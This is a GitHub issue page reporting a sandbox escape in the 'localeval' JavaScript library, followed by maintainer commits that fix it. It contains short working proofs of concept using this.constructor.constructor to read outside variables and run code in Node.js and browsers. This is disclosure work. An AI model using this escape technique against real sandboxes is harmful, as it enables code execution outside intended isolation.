Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sandbox can be broken #9

Closed
CapacitorSet opened this issue Sep 22, 2017 · 0 comments
Closed

Sandbox can be broken #9

CapacitorSet opened this issue Sep 22, 2017 · 0 comments

Comments

@CapacitorSet
Copy link

CapacitorSet commented Sep 22, 2017

On both Node.js and the browser the sandbox can be trivially broken, i.e. one can access variables outside the sandbox and execute non-sandboxed code.

Proof of concept for variable access:

var le = require("localeval");
var hiddenVariable = 123; // It shouldn't be accessible from inside the sandbox, right?
console.log(le("this.constructor.constructor('return hiddenVariable')()")); // Prints "123"

Proof of concept for code execution on Node.js:

var le = require("localeval");
le("this.constructor.constructor('process.exit(0)')()");
console.log("This is never executed.");

Proof of concept for code execution on the browser:

le("this.constructor.constructor('alert(\'Hello!\')')()");

Credit to vm2 for exposing this attack method.

espadrine added a commit that referenced this issue Oct 2, 2021
We were calling the function with

    fn.apply(0, ...)

which caused the `this` object to be a number,
leaking the Number prototype into the environment
and allowing access to outside variables.

We instead now use an object with no prototype.

It incidentally tackles part of #9 in the browser context.
espadrine added a commit that referenced this issue Oct 3, 2021
This protects from a vulnerability related to #9.

Ensuring the code runs in a process with no rights,
ensure that any vulnerability cannot get undue access,
thanks to OS-level protections.

It is a strong safety guarantee.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant